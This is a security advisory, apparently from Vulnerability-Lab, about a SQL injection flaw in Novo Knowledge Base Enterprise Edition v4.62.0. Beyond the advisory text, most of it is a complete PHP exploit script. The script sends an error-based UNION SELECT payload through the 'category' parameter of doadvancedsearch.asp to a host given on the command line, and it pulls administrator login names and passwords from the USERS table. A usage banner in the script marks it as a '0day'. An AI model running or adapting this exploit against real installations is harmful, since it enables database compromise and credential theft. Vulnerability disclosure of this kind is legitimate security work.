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Exploit Author: Vulnerability-Lab Title: ====== Knowledge Base EE v4.62.0 - SQL Injection Vulnerability Date: ===== 2012-09-11 References: =========== http://www.vulnerability-lab.com/get_content.php?id=702 VL-ID: ===== 702 Common Vulnerability Scoring System: ==================================== 8.5 Introduction: ============= Knowledge Base Software, by Novo Solutions can be used in a variety of in-house and external application settings. Our easy-to-use software is an ideal solution for small or Knowledge Base Softwarelarge organizations who need a central repository to store information for Customer Support, Company Intranet, Employee Training, Document Management and more. (copy from vendor website http://www.novosolutions.com/knowledge-base-software ) Abstract: ========= The Vulnerability Laboratory Research Team discovered a critical sql vulnerability in the Knowledge Base Enterprise Edition v4.62.0. Report-Timeline: ================ 2012-09-06:Researcher Notification & Coordination 2012-09-07:Vendor Notification 2012-00-00:Vendor Response/Feedback 2012-00-00:Vendor Fix/Patch 2012-00-00:Public or Non-Public Disclosure Status: ======== Published Exploitation-Technique: ======================= Remote Severity: ========= Critical Details: ======== A SQL Injection vulnerability & a misconfiguration are detected in Knowledge Base Enterprise Edition4.62.0. The vulnerability allows an attacker (remote) or local low privileged user account to inject/execute own sql commands on the affected application dbms without user inter action. The vulnerabilities are located in search modulewhen processing to request the category variable with selcategory argument. Successful exploitation of the vulnerability results in MSSQL dbms & ASP application compromise. Vulnerable File(s): [+] doadvancedsearch.asp Vulnerable Parameter(s): [+] category Condition [+] selcategory - must be not NULL Proof of Concept: ================= The sql injection vulnerability can be exploited by remote attackers without user inter action and without privilege user account. For demonstration or reproduce ... Note: In this report we have the Clause statement it a little bit hard to exploit it because of 90% non active responses with errors. In order to exploit this vulnerability we need to use(CAST OR CONVERT) MSSQL functions to obtain result of our query in Conversion Error messages. Query: CAST(USER_LOGIN AS NVARCHAR(4000) Result: [Microsoft][ODBC SQL Server Driver][SQL Server]Conversion failed when converting the nvarchar value 'admin' to data type int. In the proof of concept exploit we have to change and force the query to retrieve users credential from user database requests <?php error_reporting(0); /* * *SoftwareKnowledge Base Enterprise Edition< 4.62.00 *Database: MS SQL *Description *Author Kami *Emailkami@vulnerability-lab.com *Websitehttp://www.kami.ma *vendor http://www.novosolutions.com/knowledge-base-software/ *Exploitation-typeMSSQL error-based using . *Exploitation-technique(CAST OR CONVERT) Via(WHERE or HAVING) clause. */ /*Define Target Informations*/ $HOST=$argv[1]; $URI ="/doadvancedsearch.asp"; /*DATABASE Params */ $TABLE ="USERS"; $columns=array("USER_LOGIN","USER_PASSWORD"); $evilSQL ="-6647)UNION ALL SELECT CHAR(107)+CHAR(97)+CHAR(109)+CHAR(105)+CHAR(58)+CHAR(58)+MAX(ISNULL(CAST({column_name} AS NVARCHAR(4000)),CHAR(32)))+CHAR(58)+CHAR(58)+CHAR(97)+CHAR(109)+CHAR(105) FROM USERS where USER_ID=1 --"; $Exploit= new Exploitcore(); if($argc > 1) { echo "\n".'[+] Exploitation Start \\\ .------./// (:::::::)(_)():- ------°\\\ Exploit sent/// '."\n"; if(isset($argv[2])) $URI=$argv[2].$URI; echo"[+] URL : ".$argv[1].$argv[2]."\n"; $n=1; foreach($columns as $column){ $evilSQL ="-6647)UNION ALL SELECT CHAR(107)+CHAR(97)+CHAR(109)+CHAR(105)+CHAR(58)+CHAR(58)+MAX(ISNULL(CAST({column_name} AS NVARCHAR(4000)),CHAR(32)))+CHAR(58)+CHAR(58)+CHAR(97)+CHAR(109)+CHAR(105) FROM USERS where USER_ID=1 --"; $evilSQL=str_replace("{column_name}",$column,$evilSQL); $Payload=array( "advsearchwords"=>"sds", "selcategory"=>"19", "category"=>$evilSQL, "operation"=>"%2B", "limit"=>25, "searchtype"=>1, "enableExclude"=>1, "enableInclude"=>1, "daterange"=>0, "id"=>5, "btnAdvanced"=>1, "Lang=>1"); echo $reply=$Exploit->Requestor('POST',$HOST,80, $URI,array(),$Payload, array(), array(),1,false,false); if($Exploit->Retrive_DATA($reply)== null) { echo "[-] Error : Target is not vulnerable\n"; exit(-1);} if($n==1){echo "[+] Extracting Data .... \n\n";} echo "[+] DATA:".$column ."=".$Exploit->Retrive_DATA($reply)."\n"; $n++; } } else$Exploit->Menu(); Class Exploitcore{ var $hostname,$Port,$Uri; var $dynamic_payload; public function Retrive_DATA($reply){ preg_match_all('#kami::(.*?)::ami#',$reply,$res); return $res[1][0]; } public function Menu(){ $hello=' .-"""-. / _ \ ___|(212)| /</code><code></code><code></code><code></code><code></code><code></code>`"""""""\\\""====---.......,,,,,_______ _\ ^ / \//__________________///__________________)))________)) "-...-" Advanced__-- SQL --__injection Novo Knowledge Base Credit: Kami Email : Kami@vulnerability-lab.com Website : www.kami.ma Usage>php knowledgebase0day.php host Exemple>php knowledgebase0day.php kbase.target.com Exemple>php knowledgebase0day.php kbase.target.com /foo '; echo$hello; } publicfunction Requestor( $verb = 'GET', /* HTTP Request Method (GET and POST supported) */ $ip, /* Target IP/Hostname */ $port = 80,/* Target TCP port */ $uri = '/',/* Target URI */ $getdata = array(),/* HTTP GET Data ie. array('var1' => 'val1', 'var2' => 'val2') */ $postdata = array(), /* HTTP POST Data ie. array('var1' => 'val1', 'var2' => 'val2') */ $cookie = array(), /* HTTP Cookie Data ie. array('var1' => 'val1', 'var2' => 'val2') */ $custom_headers = array(), /* Custom HTTP headers ie. array('Referer: http://localhost/ */ $timeout = 1, /* Socket timeout in seconds */ $req_hdr = true,/* Include HTTP request headers */ $res_hdr = true /* Include HTTP response headers */ ) { $ret = ''; $verb = strtoupper($verb); $cookie_str = ''; $getdata_str = count($getdata) ? '?' : ''; $postdata_str = ''; foreach ($getdata as $k => $v) $getdata_str .= urlencode($k) .'='. urlencode($v) . '&'; foreach ($postdata as $k => $v) $postdata_str .= urlencode($k) .'='. urlencode($v) .'&'; foreach ($cookie as $k => $v) $cookie_str .= urlencode($k) .'='. urlencode($v) .'; '; $crlf = "\r\n"; $req = $verb .' '. $uri . $getdata_str .' HTTP/1.1' . $crlf; $req .= 'Host: '. $ip . $crlf; $req .= 'User-Agent: Mozilla/5.0 Firefox/3.6.12' . $crlf; $req .= 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' . $crlf; $req .= 'Accept-Language: en-us,en;q=0.5' . $crlf; $req .= 'Accept-Encoding: deflate' . $crlf; $req .= 'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7' . $crlf; foreach ($custom_headers as $k => $v) $req .= $k .': '. $v . $crlf; if (!empty($cookie_str)) $req .= 'Cookie: '. substr($cookie_str, 0, -2) . $crlf; if ($verb == 'POST' && !empty($postdata_str)) { $postdata_str = substr($postdata_str, 0, -1); $req .= 'Connection: Close'. $crlf; $req .= 'Content-Type: application/x-www-form-urlencoded' . $crlf; $req .= 'Content-Length: '. strlen($postdata_str) . $crlf . $crlf; $req .= $postdata_str; } else { $req .= $crlf; } if ($req_hdr) $ret .= $req; if (($fp = fsockopen($ip, $port, $errno, $errstr,1)) == false) return "Error $errno: $errstr\n"; // stream_set_timeout($fp, 0, $timeout * 1000); fwrite($fp, $req); while ($line = fgets($fp)) $ret .= $line; fclose ($fp); if (!$res_hdr) $ret = substr($ret, strpos($ret, "\r\n\r\n") + 4); return $ret; } } ?> |
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